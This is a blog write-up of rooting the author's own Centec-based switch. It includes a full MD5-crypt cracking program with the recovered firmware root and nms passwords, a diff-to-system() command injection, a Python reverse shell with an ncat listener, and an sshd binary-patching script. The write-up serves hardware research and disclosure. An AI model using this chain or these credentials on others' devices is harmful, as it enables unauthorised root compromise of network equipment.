Reverse Engineering a Centec CTC Switch: From Firmware to Root Shell

Published 2026-08-16 03:02 4121 words 21 min read

Madobi Nanami avatar

Madobi Nanami

Nanami 的个人技术博客,记录网络、运维、虚拟化与逆向的实践。

Introduction I recently bought a Moondon MQ2-48T-4F switch. It has 48 2.5G copper ports, 4 10G SFP+ ports and 2 40G QSFP ports, which is very capable hardware. While watching the boot log over the...

Introduction

I recently bought a Moondon MQ2-48T-4F switch. It has 48 2.5G copper ports, 4 10G SFP+ ports and 2 40G QSFP ports, which is very capable hardware. While watching the boot log over the console, I noticed the CPU is aarch64 and the log looks a lot like Linux. According to the seller the switch uses a Centec CTC 7132 platform, which convinced me the underlying OS was Linux. But that alone wasn’t enough to make me tear into it. What actually set me off is a very odd quirk: all four SFP+ ports belong to one port group whose speed must be changed together — they cannot be set individually. That meant I couldn’t plug 10G servers and an ONT stick that only runs at 2.5G into the four ports at the same time. So I decided to dig in.

Research Direction

The switch exposes several services: http, ssh and telnet. Its WebUI has a “File Management” feature from which the complete firmware uImage_v3.0.15.7.bin can be downloaded. So the direction was obvious: start from the firmware, then try to escape the CLI into the underlying Linux shell


Getting Started

Phase 1. Firmware Analysis

1.1 Unpacking

  • With the firmware in hand, extract it with binwalk
binwalk -e uImage_v3.0.15.7.bin

It extracts three files: 53E8E4, 53E8E4.7z and D8. Check their sizes

-rw-r--r-- 1 nanami114 nanami114 189M Aug 15 21:41 53E8E4
-rw-r--r-- 1 nanami114 nanami114  32M Aug 15 21:41 53E8E4.7z
-rw-r--r-- 1 nanami114 nanami114  12M Aug 15 21:41 D8

The first file is by far the largest, so extract it further

binwalk -e 53E8E4

That yields one file and one directory:

-rw-r--r--  1 nanami114 nanami114 189M Aug 15 21:42 0.cpio
drwxr-xr-x 18 nanami114 nanami114 4.0K Aug 15 21:47 cpio-root

Enter cpio-root and list it again to see the full kernel directory layout.

nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ ls -lah
total 72K
drwxr-xr-x 18 nanami114 nanami114 4.0K Aug 15 21:47 .
drwxr-xr-x  3 nanami114 nanami114 4.0K Aug 15 21:42 ..
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 bin
lrwxrwxrwx  1 nanami114 nanami114    9 Aug 15 21:42 boot -> /dev/null
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 centec_switch
lrwxrwxrwx  1 nanami114 nanami114    9 Aug 15 21:42 conf -> /dev/null
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 data
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 dev
drwxr-xr-x  9 nanami114 nanami114 4.0K Aug 15 21:42 etc
lrwxrwxrwx  1 nanami114 nanami114    9 Aug 15 21:42 init -> /dev/null
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 lib
drwxr-xr-x  4 nanami114 nanami114 4.0K Aug 15 21:42 mnt
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 proc
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 root
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 sbin
drwxr-xr-x  2 nanami114 nanami114 4.0K Aug 15 21:42 sys
drwxrwxrwx  2 nanami114 nanami114 4.0K Aug 15 21:42 tftpboot
drwxr-xr-x  4 nanami114 nanami114 4.0K Aug 15 21:42 tmp
drwxr-xr-x  7 nanami114 nanami114 4.0K Aug 15 21:42 usr
drwxr-xr-x  8 nanami114 nanami114 4.0K Aug 15 21:42 var

At this point we can be certain: this is a Linux system.

1.2 Identifying the Kernel Version

  • The extraction produced 53E8E4, 53E8E4.7z and D8, and D8 is an ARM64 Linux kernel image. We can pull the kernel version out of it by searching directly
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted$ strings -n 10 D8 | grep -E "Linux version"
CLDK v20.01 Linux version 4.9.62-tsingma (sw@sw1) (gcc version 6.3.1 20170109 (Linaro GCC 6.3-2017.02) ) #1 SMP Mon Nov 18 01:01:48 CST 2024

Cross-check it against a kernel module’s vermagic:

nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ strings lib/peth_km.ko | grep vermagic
vermagic=4.9.62-tsingma SMP mod_unload aarch64
__UNIQUE_ID_vermagic8

That gives us the platform’s basic information

ItemValue
Kernel version4.9.62-tsingma (vendor LOCALVERSION)
ArchitectureAArch64 (ARM64), SMP
ToolchainLinaro GCC 6.3.1 (2017.02)
Build time2024-11-18 CST
PlatformCentec, CLDK v20.01

Q. Why cross-check with vermagic? A. Strings inside the kernel image can be stripped or obfuscated, but a .ko module’s vermagic is baked in at kernel build time. Only when both agree is the conclusion reliable.

Phase 2. Cracking the Password Hash

2.1 Finding the Target

The system’s /etc/passwd contains two real users

root:$1$ZrdxfwMZ$1xAj.S6emtA7gWD7iwmmm/:0:0:root:/root:/bin/sh
nms:$1$nUbsGtA7$5omXOHPNK.ZzNd5KeekUq/:0:0:root:/ftp:/bin/sh

The $1$ prefix marks standard Unix MD5-crypt. That algorithm is ancient and very amenable to dictionary or brute-force attacks, so we go straight for brute force.

2.2 Cracking the MD5 Hash

For performance I wrote the cracker in C with OpenMP, using multiple threads in parallel to maximise speed. Here is the full code

/* md5crack.c — parallel MD5-crypt ($1$) cracker for the switch firmware.
 * Usage: md5crack [dictfile]
 * Target: root:$1$ZrdxfwMZ$1xAj.S6emtA7gWD7iwmmm/
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include <omp.h>

/* ---------- minimal incremental MD5 ---------- */
typedef struct {
    uint32_t state[4];
    uint64_t total;
    size_t   buflen;
    uint8_t  buffer[64];
} MD5_CTX;

static const uint32_t K[64] = {
0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,0xf57c0faf,0x4787c62a,0xa8304613,0xfd469501,
0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be,0x6b901122,0xfd987193,0xa679438e,0x49b40821,
0xf61e2562,0xc040b340,0x265e5a51,0xe9b6c7aa,0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8,
0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,0xa9e3e905,0xfcefa3f8,0x676f02d9,0x8d2a4c8a,
0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c,0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,
0x289b7ec6,0xeaa127fa,0xd4ef3085,0x04881d05,0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665,
0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,0x655b59c3,0x8f0ccc92,0xffeff47d,0x85845dd1,
0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1,0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391};
static const int S[64] = {
7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,
5,9,14,20,5,9,14,20,5,9,14,20,5,9,14,20,
4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,
6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21};

static inline uint32_t rotl(uint32_t x,int c){ return (x<<c)|(x>>(32-c)); }

static void md5_compress(MD5_CTX *c){
    uint32_t a=c->state[0],b=c->state[1],cc=c->state[2],d=c->state[3];
    const uint32_t *m=(const uint32_t*)(void*)c->buffer;  /* little-endian host */
    for(int i=0;i<64;i++){
        uint32_t f; int g;
        if(i<16){ f=(b&cc)|(~b&d); g=i; }
        else if(i<32){ f=(d&b)|(~d&cc); g=(5*i+1)&15; }
        else if(i<48){ f=b^cc^d; g=(3*i+5)&15; }
        else { f=cc^(b|~d); g=(7*i)&15; }
        uint32_t tmp=d;
        d=cc; cc=b;
        b+=rotl(a+f+K[i]+m[g],S[i]);
        a=tmp;
    }
    c->state[0]+=a; c->state[1]+=b; c->state[2]+=cc; c->state[3]+=d;
}

static void md5_init(MD5_CTX *c){
    c->state[0]=0x67452301; c->state[1]=0xefcdab89;
    c->state[2]=0x98badcfe; c->state[3]=0x10325476;
    c->total=0; c->buflen=0;
}
static void md5_update(MD5_CTX *c,const void *data,size_t len){
    const uint8_t *p=(const uint8_t*)data;
    c->total+=len;
    if(c->buflen){
        size_t need=64-c->buflen;
        size_t take=len<need?len:need;
        memcpy(c->buffer+c->buflen,p,take);
        c->buflen+=take; p+=take; len-=take;
        if(c->buflen==64){ md5_compress(c); c->buflen=0; }
    }
    while(len>=64){
        memcpy(c->buffer,p,64);
        md5_compress(c);
        p+=64; len-=64;
    }
    if(len){ memcpy(c->buffer+c->buflen,p,len); c->buflen+=len; }
}
static void md5_final(MD5_CTX *c,uint8_t out[16]){
    uint64_t bits=c->total*8;
    md5_update(c,"\x80",1);
    while((c->buflen&63)!=56) md5_update(c,"\x00",1);
    uint8_t lenb[8];
    for(int i=0;i<8;i++) lenb[i]=(uint8_t)(bits>>(8*i));
    md5_update(c,lenb,8);
    if(c->buflen) md5_compress(c);
    for(int i=0;i<4;i++){
        uint32_t v=c->state[i];
        out[i*4]=(uint8_t)v; out[i*4+1]=(uint8_t)(v>>8);
        out[i*4+2]=(uint8_t)(v>>16); out[i*4+3]=(uint8_t)(v>>24);
    }
}

/* ---------- MD5-crypt ---------- */
static void md5crypt(const char *pw,size_t pwlen,const char *salt,size_t slen,uint8_t final[16]){
    MD5_CTX ctx,ctx2;
    uint8_t d[16];
    md5_init(&ctx);
    md5_update(&ctx,pw,pwlen);
    md5_update(&ctx,"$1$",3);
    md5_update(&ctx,salt,slen);
    md5_init(&ctx2);
    md5_update(&ctx2,pw,pwlen);
    md5_update(&ctx2,salt,slen);
    md5_update(&ctx2,pw,pwlen);
    md5_final(&ctx2,d);
    for(size_t i=0;i<pwlen;i++) md5_update(&ctx,d+(i&15),1);
    size_t i=pwlen;
    while(i){
        if(i&1) md5_update(&ctx,"\x00",1);
        else    md5_update(&ctx,pw,1);
        i>>=1;
    }
    md5_final(&ctx,final);
    for(int it=0;it<1000;it++){
        md5_init(&ctx2);
        if(it&1) md5_update(&ctx2,pw,pwlen); else md5_update(&ctx2,final,16);
        if(it%3) md5_update(&ctx2,salt,slen);
        if(it%7) md5_update(&ctx2,pw,pwlen);
        if(it&1) md5_update(&ctx2,final,16); else md5_update(&ctx2,pw,pwlen);
        md5_final(&ctx2,final);
    }
}

static const char ITOA64[]="./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
static void to64(uint32_t v,int n,char *out){
    for(int i=0;i<n;i++){ out[i]=ITOA64[v&0x3f]; v>>=6; }
}
static void encode_final(const uint8_t final[16],char out[23]){
    to64(((uint32_t)final[0]<<16)|((uint32_t)final[6]<<8)|final[12],4,out+0);
    to64(((uint32_t)final[1]<<16)|((uint32_t)final[7]<<8)|final[13],4,out+4);
    to64(((uint32_t)final[2]<<16)|((uint32_t)final[8]<<8)|final[14],4,out+8);
    to64(((uint32_t)final[3]<<16)|((uint32_t)final[9]<<8)|final[15],4,out+12);
    to64(((uint32_t)final[4]<<16)|((uint32_t)final[10]<<8)|final[5],4,out+16);
    to64(final[11],2,out+20);
    out[22]=0;
}

static const char TARGET[]="1xAj.S6emtA7gWD7iwmmm/";
static const char SALT[]="ZrdxfwMZ";

static volatile int FOUND=0;

static void test_pw(const char *pw,size_t len,const char *ctxlabel){
    if(FOUND) return;
    uint8_t final[16]; char b64[23];
    md5crypt(pw,len,SALT,strlen(SALT),final);
    encode_final(final,b64);
    if(!strcmp(b64,TARGET)){
        #pragma omp critical
        {
            if(!FOUND){
                FOUND=1;
                printf("[+] CRACKED root: %.*s   (%s)\n",(int)len,pw,ctxlabel);
                fflush(stdout);
            }
        }
    }
}

/* index->candidate generator */
static void gen_comb(char *buf,const char *charset,int len,uint64_t idx){
    int clen=(int)strlen(charset);
    for(int i=len-1;i>=0;i--){ buf[i]=charset[idx%clen]; idx/=clen; }
    buf[len]=0;
}

static void run_masks(void){
    /* digits 1..8 */
    for(int len=1;len<=8 && !FOUND;len++){
        uint64_t n=1; for(int k=0;k<len;k++) n*=10;
        char buf[64];
        #pragma omp parallel for schedule(static,10000)
        for(uint64_t idx=0;idx<n;idx++){
            if(FOUND) continue;
            gen_comb(buf,"0123456789",len,idx);
            test_pw(buf,len,"digits");
        }
        fprintf(stderr,"[*] digits len %d done (%llu)\n",len,(unsigned long long)n);
    }
    /* lowercase 1..5 */
    for(int len=1;len<=5 && !FOUND;len++){
        uint64_t n=1; for(int k=0;k<len;k++) n*=26;
        char buf[64];
        #pragma omp parallel for schedule(static,10000)
        for(uint64_t idx=0;idx<n;idx++){
            if(FOUND) continue;
            gen_comb(buf,"abcdefghijklmnopqrstuvwxyz",len,idx);
            test_pw(buf,len,"lower");
        }
        fprintf(stderr,"[*] lower len %d done\n",len);
    }
    /* lowercase+digits 1..4 */
    for(int len=1;len<=4 && !FOUND;len++){
        uint64_t n=1; for(int k=0;k<len;k++) n*=36;
        char buf[64];
        #pragma omp parallel for schedule(static,10000)
        for(uint64_t idx=0;idx<n;idx++){
            if(FOUND) continue;
            gen_comb(buf,"0123456789abcdefghijklmnopqrstuvwxyz",len,idx);
            test_pw(buf,len,"lower+digit");
        }
        fprintf(stderr,"[*] lower+digit len %d done\n",len);
    }
    /* uppercase+digits 1..5 (short caps) */
    for(int len=1;len<=5 && !FOUND;len++){
        uint64_t n=1; for(int k=0;k<len;k++) n*=36;
        char buf[64];
        #pragma omp parallel for schedule(static,10000)
        for(uint64_t idx=0;idx<n;idx++){
            if(FOUND) continue;
            gen_comb(buf,"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ",len,idx);
            test_pw(buf,len,"upper+digit");
        }
        fprintf(stderr,"[*] upper+digit len %d done\n",len);
    }
}

static void run_dictfile(const char *path){
    FILE *f=fopen(path,"rb");
    if(!f){ perror("fopen"); exit(1); }
    fseek(f,0,SEEK_END); long sz=ftell(f); fseek(f,0,SEEK_SET);
    char *data=malloc(sz+1);
    size_t rd=fread(data,1,sz,f); fclose(f); data[rd]=0;
    /* build line index */
    size_t *idx=malloc(sizeof(size_t)*(rd+1));
    size_t n=0; idx[n++]=0;
    for(size_t i=0;i<rd;i++) if(data[i]=='\n') idx[n++]=i+1;
    char **lines=malloc(sizeof(char*)*n);
    size_t *lens=malloc(sizeof(size_t)*n);
    long cnt=0;
    for(size_t i=0;i+1<n;i++){
        char *s=data+idx[i]; char *e=data+idx[i+1];
        while(e>s && (e[-1]=='\n'||e[-1]=='\r')) e--;
        if(e==s){ lines[cnt]=NULL; lens[cnt]=0; cnt++; continue; }
        *e=0; lines[cnt]=s; lens[cnt]=(size_t)(e-s); cnt++;
    }
    fprintf(stderr,"[*] dict '%s': %ld candidates\n",path,cnt);
    #pragma omp parallel for schedule(dynamic,1000)
    for(long i=0;i<cnt;i++){
        if(FOUND) continue;
        if(lines[i]) test_pw(lines[i],lens[i],"dictionary");
    }
}

int main(int argc,char **argv){
    if(argc>1 && !strcmp(argv[1],"--selftest")){
        /* openssl: openssl passwd -1 -salt ZrdxfwMZ root -> $1$ZrdxfwMZ$jCuG4i9D8aN4xLTQdbPr4. */
        uint8_t f[16]; char b64[23];
        md5crypt("root",4,"ZrdxfwMZ",8,f);
        encode_final(f,b64);
        printf("selftest: %s %s\n", b64,
               strcmp(b64,"jCuG4i9D8aN4xLTQdbPr4.")==0?"OK":"FAIL");
        return 0;
    }
    fprintf(stderr,"[*] md5crack: target root salt=%s b64=%s threads=%d\n",
            SALT,TARGET,omp_get_max_threads());
    if(argc>1) run_dictfile(argv[1]);
    run_masks();
    if(FOUND) fprintf(stderr,"[*] root password FOUND\n");
    else      fprintf(stderr,"[-] no match in current candidate set\n");
    return FOUND?0:1;
}

我们还需要下载 rockyou 密码库. 最终破解的结果如下

用户密码验证
nms123456openssl passwd -1 -salt nUbsGtA7 123456 完全匹配
root!@#openssl passwd -1 -salt ZrdxfwMZ '!@#' 完全匹配

到这里我们就拿到了 nms 和 root 用户的密码.

Phase 3. Trying to Log In Over SSH

At first I tried logging in over SSH as root, but every attempt failed. It quickly became clear that the system’s sshd is an OEM-modified build.

3.1 Spotting the Modification

  • Inspecting sshd’s linked libraries shows vendor-private libraries and a pile of unusual imported symbols
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ objdump -T usr/sbin/sshd | grep -iE "password|authen|bmcli|cli_install"
0000000000000000      DF *UND*  0000000000000000              bmcli_start
0000000000000000      DF *UND*  0000000000000000              authen_client_new
0000000000000000      DF *UND*  0000000000000000              authen_client_start
0000000000000000      DF *UND*  0000000000000000              authen_client_free
0000000000000000      DF *UND*  0000000000000000              cli_install_gen
0000000000000000      DF *UND*  0000000000000000              host_password_check                            # 来自 libzos.so
0000000000000000      DF *UND*  0000000000000000              cli_install_config
0000000000000000      DF *UND*  0000000000000000              authen_api_msg_authen_request_send
0000000000000000      DF *UND*  0000000000000000              check_password

Strings in the binary also show that after successful authentication sshd runs exec /usr/bin/imish, not a native Linux shell.

3.2 The Authentication Chain

  • Decompiling host_password_check in libzos.so shows it touches these files
/mnt/flash/.login_passwd_record
/mnt/flash/.login_passwd_record_tmp
/mnt/flash/.login_passwd_timestamp
/mnt/flash/.config_encryption.conf

From that we can conclude that SSH password authentication goes through the vendor’s own AAA framework. So the full authentication path is

SSH → modified sshd → host_password_check() (libzos)
    → authen_api_msg_authen_request_send() → authd/AAA
    → reads AES/3DES/RSA-encrypted /mnt/flash/.login_passwd_record from flash
    → on success → exec /usr/bin/imish (switch CLI, not a Linux shell)

This also explains why the Linux credentials above couldn’t log in over SSH: it never uses Linux’s own authentication path.

Phase 4. Escaping to a Root Shell

4.1 First Observations

  • Logging in to the switch CLI with the switch credentials drops you straight into the Switch# privileged prompt. Listing the EXEC commands with ? and combining that with the reverse engineering so far raised some questions
    • cd, dir, ls, pwd, mkdir, delete, more, md5sum and tar all run from the CLI and appear to be wrapped Linux commands
    • bypass, copy, ftp, ssh, telnet and debug look suspicious, possibly privilege-escalation paths
    • rawswitch is a hidden command and the most suspicious of all

4.2 Attempting Injection

4.2.1 Semicolon / Pipe Injection
Switch# md5sum flash:/startup-config.conf; id
                                 ^
% Invalid input detected at '^' marker.

The CLI interpreter rejects ; and |, so this path is dead.

4.2.2 $() Command Substitution
Switch# md5sum flash:/$(id)
% Invalid file name or directory name: flash:/$(id)

imish whitelists filenames to [0-9a-zA-Z._-()]. $ isn’t allowed and is rejected before the shell ever sees it, so this fails too.

4.2.3 more Pager Escape
more flash:/startup-config.conf
... --More--(36%) ...

Entering !id / :sh only pages through the file, so this doesn’t work either.

4.2.4 CVE-2026-3587 Hidden CLI Function Allows Root Access

This is a recent CVE I found online, and I tried it here too.

  • After connecting over telnet, logging in and sending \x1b[?25l\x1b[?2l\r\n, it returns Invalid input, so this method doesn’t work

4.3 The Breakthrough

After everything above failed, I turned to that hidden rawswitch command. Static analysis of the firmware had already shown ctc_shell / Enter rawswitch mode in the imish binary. At runtime the actual command is rawswitch.

Switch# rawswitch
CTC_CLI(ctc-sdk)#

This drops us into the CTC SDK platform’s low-level CLI. ? lists a large command set

CTC_CLI(ctc-sdk)#  ?
  sdk             SDK mode
  debug           Debug mode
  internal        Internal Debug mode
  app             App mode
  cmodel          Cmodel mode
  dkits           Dkits mode
  stress          Stress mode
  show            Show
  clear           Clear
  acl             ACL module
  aging           Aging module
  aps             Aps Module
  boot            boot command
  bpe             bpe module
  cd              Common cmd
  check           Check table or register
  chip            Chip module
  ctune           ctune
  delay           delay time
  diag            Diag module
  diff            Common cmd
  dma             dma
  dot1ae          Dot1AE
  efd             EFD module
  end             End current mode and change to EXEC mode
  enter           Enter
  exit            Exit current mode and down to previous mode
  fcoe            FCOE module
  for             For cmd
  ftm             Memory Allocation module
  interrupt       Interrupt module
  ipfix           IPFIX module
  ipmc            IPMC module
  ipuc            IPUC module
  l2              Layer 2 module
  l3if            L3 interface module
  lb-hash         Load banlance hash
  learning        Learning module
  linkagg         Linkagg module
  list            List tables
  local-mep       Local MEP
  ls              Common cmd
  memory          Memory manger
  mip             MIP
  mirror          Mirror module
  monitor         Monitor Module
  mpls            Multi-Protocol Label Switching (MPLS)
  nexthop         Nexthop module
  no              Negate a command or set its defaults
  npm             NPM Module
  oam             OAM module
  ofb             ofb
  overlay-tunnel  overlay tunnel module, used to terminate an overlay tunnel
  packet          Packet module
  parser          Parser module
  pdu             Pdu module
  port            Port module
  ptp             PTP module
  pwd             Common cmd
  qos             QoS module
  quit            Exit current mode and down to previous mode
  read            Read table or register
  remote-mep      Remote MEP
  rm              delete file
  route           Route
  scl             SCL module
  security        Security module
  source          Common cmd
  stacking        Stacking
  stats           Statistics
  stp             Spanning Tree Protocol (STP)
  sync-ether      SyncE module
  system          System attribution
  tclsh           Common cmd
  tftp            tftp transmit
  trill           TRILL module
  vi              Common cmd
  vlan            VLAN module
  warmboot        Warmboot module
  wlan            WLAN module
  write           Write table or register

Several commands stand out

  cd              Common cmd
  diff            Common cmd
  ls              Common cmd
  pwd             Common cmd
  source          Common cmd
  tclsh           Common cmd
  vi              Common cmd

They are all annotated Common cmd, which suggests they may all be native Linux commands.

4.4 Ruling Out Each Common cmd Escape

  • Decompiling lib/libctcsdk.so to work out what each command actually does
CommandResult
tclshsystem("tclsh " + file), but there is no tclsh binary on the device → silent failure
sourcefopen the file and execute each line as a CTC CLI command (ctc_cmd_for_command), not a shell; only CLI commands run
tftpchdir("/mnt/flash/boot") then runs the tftp client; the boot partition is read-only → nothing can be written
visystem("vi " + file), busybox vi, but full-screen interaction breaks over an SSH / Telnet pty
copyCan copy from tftp to flash, but refuses hidden filenames

4.5 Trying Maintenance Mode

While browsing system files I noticed that /etc/login.sh reads

enter_minios=`cat /proc/cmdline | grep enter_minios`

if [ -z "$enter_minios" -a ! -f /mnt/flash/boot/.enter_minios ]; then
        /usr/bin/imish
        exit
fi

/bin/sh

The logic is clear: if .enter_minios exists in /mnt/flash/boot, login gives you a real Linux shell.

4.5.1 Trying TFTP

I started a simple TFTP server locally holding the .enter_minios file, then tried to fetch it from the switch

tftp server-ip 192.168.1.3 filename .enter_minios

It returned % tftp command execute NG. and the server never saw any packets. Decompiling shows tftp does chdir("/mnt/flash/boot"); the boot partition is read-only, the client can’t create the local file, and nothing is sent.

4.5.2 Trying the copy Command
copy tftp://<serverAddr>/.enter_minios flash:/boot/.enter_minios

It returned % Invalid destination file name. Combined with earlier findings, imish validates hidden names (those starting with .). So I tried copying to a non-hidden name and then renaming.

copy tftp://<serverAddr>/.enter_minios flash:/boot/enter_minios
rename enter_minios .enter_minios

That returned % Invalid destination file name ... should not be on hidden format, so rename validates hidden names as well.

4.5.3 Trying tar Extraction

I built a gzip tarball locally containing .enter_minios, downloaded it to the switch with tftp and extracted it.

tar xtract flash:/boot.tar.gz flash:/boot

It returned % Not support this command in flash:/boot directory, meaning the boot directory is protected. So I built an archive containing boot/.enter_minios, downloaded it to the root directory and extracted there.

tar xtract flash:/boot.tar.gz flash:/

It returned tar: cannot remove old file: Read-only file system, which makes it clear: the boot partition is read-only.

Q. Why did the earlier copy seem to work? A. In fact it didn’t. Checking the filesystem showed no enter_minios in /mnt/flash/boot. Even bypassing the filename validation doesn’t help when the partition is read-only.

4.6 Injection via the diff Command

  • Decompiling cli_com_diff in libctcsdk.so shows the logic
sprintf(buf, "diff %s %s", argv[0], argv[1]);
system(buf);

As you can see, the two arguments after diff are not escaped and go straight into system()! This is clearly the biggest opening.

  • However, as discovered earlier, injected commands can’t contain spaces, so we substitute $IFS. Let’s try
diff /etc/passwd $(id)

That produced no output and no error. My guess was that imish suppresses the output, so I redirected it to a file

diff /etc/passwd $(id>/mnt/flash/UIDOUT)

Still nothing.

  • Reading the file with the built-in more command
Switch# more flash:/UIDOUT
uid=0(root) gid=0(root)

We had a root shell!

4.7 Getting a Reverse Shell

Browsing the system files again, the device ships a Python 2.7, which is a huge opening for getting a proper shell.

  • I had an AI write a reverse shell script
import socket,subprocess,os,sys
if os.fork() > 0: sys.exit(0)          # 第一次 fork,父进程退出 → 命令替换立即完成
os.setsid()
if os.fork() > 0: sys.exit(0)          # 二次 fork 彻底脱离
devnull = os.open("/dev/null", os.O_RDWR)
os.dup2(devnull,0); os.dup2(devnull,1); os.dup2(devnull,2)   # 关掉替换管道 → 不阻塞
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.3", 4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
  • Upload it
copy tftp://<serverAddr>/rev.py flash:/rev.py
  • Start a listener locally
ncat -lvnp 4444
  • Trigger it
rawswitch
diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/rev.py)

After triggering, the listener had a root shell!

/mnt/flash/boot # id
uid=0(root) gid=0(root)
/mnt/flash/boot # uname -a
Linux Switch 4.9.62-tsingma #1 SMP Mon Nov 18 01:01:48 CST 2024 aarch64

The information matches the static analysis exactly, which closes the loop on the whole chain.

Phase 5. Making the SSH Shell Persistent

Now that we have a shell, we can try patching sshd so it starts a real Linux shell instead of imish.

5.1 Analysing the Firmware

ItemFinding
rootfs (including /usr/sbin/sshd)rootfs on / type rootfs (rw) — ramfs, writable; the running sshd can be modified directly
/mnt/flash (data)ext4 rw
/mnt/flash/boot (boot)ext4 ro, holds uImage (kernel + initramfs)
Persistencerootfs is re-extracted from uImage on every boot; no hook from /mnt/flash at startup
telnettelnetd -l /usr/bin/imish — the real imish, unrelated to sshd

So persisting the modified sshd would require modifying the uImage on the boot partition. That risks bricking the device, so I decided to keep it temporary first.

5.2 Static Analysis of sshd

Let’s work out how sshd calls imish.

  • Look up the string offset
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ strings -t x usr/sbin/sshd | grep /usr/bin/imish
  7bd90 /usr/bin/imish

So the string offset is 7bd90.

  • Decompiling bmcli_start in libzos.so shows it creates a socket, registers, records a pid and adds a timer. It is not where imish is exec’d.
  • Confirm the offset matches in the running binary: dd if=/usr/sbin/sshd bs=1 skip=507280 count=14 → /usr/bin/imish

0x7bd90 = 507280. The rodata VA differs from the file offset by 0x4000000, so the string VA is 0x47BD90.

5.3 Attempting the Patch

5.3.1 printf | dd conv=notrunc
printf '/bin/sh\0\0\0\0\0\0\0\0\0' | dd of=/usr/sbin/sshd bs=1 seek=507280 conv=notrunc

Result: dd printed busybox usage text — this busybox dd only supports if/of/bs/count/skip/seek, no conv=, so it errors out.

5.3.2 Python open("r+b") seek/write
python2.7 -c 'f=open("/usr/sbin/sshd","r+b");f.seek(507280);f.write("/bin/sh"+"\x00"*7);f.close()'

Result: IOError: [Errno 26] Text file busy: '/usr/sbin/sshd'. Linux won’t let you write to a running binary.

5.3.3 The Null-Byte Trap in the Reverse Shell

Running dd through the reverse shell (which outputs null bytes) makes busybox sh -i hang at a > continuation prompt, and every later command is lost.

5.3.4 Patching Straight to /bin/sh

That fails with -sh: illegal option -h. When sshd execs imish it passes imish’s arguments, and they reach /bin/sh verbatim, which doesn’t understand them.

5.3.5 The Wrapper Approach

Patch to a wrapper script that ignores every argument and execs a clean /bin/sh

#!/bin/sh
exec /bin/sh

Stored it at /tmp/ws and changed the sshd offset to /tmp/ws. That worked: logging in over SSH with the switch credentials now lands in a native Linux shell.

Logging into the switch's Linux shell over SSH after patching
Logging into the switch's Linux shell over SSH after patching
That completes the patch.

5.4 Writing a One-Click Script

I then wrote a one-click patch script to re-apply the sshd modification after a reboot.

import os, sys, time
if os.fork() > 0: sys.exit(0)      # daemonize
os.setsid()
if os.fork() > 0: sys.exit(0)
os.dup2(os.open("/dev/null", os.O_RDWR), 0)
os.dup2(os.open("/dev/null", os.O_RDWR), 1)
os.dup2(os.open("/dev/null", os.O_RDWR), 2)
time.sleep(2)                        # 等注入/SSH 会话先结束

open("/tmp/ws", "w").write("#!/bin/sh\nexec /bin/sh\n")   # 建 wrapper
os.chmod("/tmp/ws", 0o755)

os.system("killall sshd 2>/dev/null")  # 先杀 sshd 才能写二进制
time.sleep(1)

NEW = "/tmp/ws" + "\x00" * 7           # 14 字节,与原字符串等长
for attempt in range(6):
    try:
        data = open("/usr/sbin/sshd", "rb").read()
        data = data.replace("/usr/bin/imish", NEW)          # 覆盖原始字符串
        data = data.replace("/bin/sh\x00\x00\x00\x00\x00\x00\x00", NEW)  # 覆盖上次的 /bin/sh
        open("/usr/sbin/sshd", "wb").write(data)
        break
    except IOError:                    # ETXTBSY 重试
        os.system("killall sshd 2>/dev/null"); time.sleep(1)

open("/mnt/flash/PY4.flag", "w").write("ok imish=%d\n" %
    open("/usr/sbin/sshd","rb").read().count("/usr/bin/imish"))
os.system("nohup /usr/sbin/sshd -6 >/dev/null 2>&1 &")     # 重启 sshd(原启动参数是 -6)

Trigger it with the diff injection

CTC_CLI(ctc-sdk)# diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/patch.py)

5.5 Locking Myself Out and Recovering

After patching to /bin/sh (broken), every SSH connection failed and dropped immediately, locking me out of the SSH injection channel.

  • I switched to the telnet channel to recover
Switch# copy tftp://<serverAddr>/patch.py flash:/patch.py   # 上传 v2
Switch# rawswitch
CTC_CLI(ctc-sdk)# diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/patch.py)

5.6 Verifying the Result

  • SSH login:
/mnt/flash # id
uid=0(root) gid=0(root)
  • Telnet login:
Switch# show ver
Switch Software, S5048, Version 3.0.15.7
Copyright (C) Switch.  All Rights Reserved.
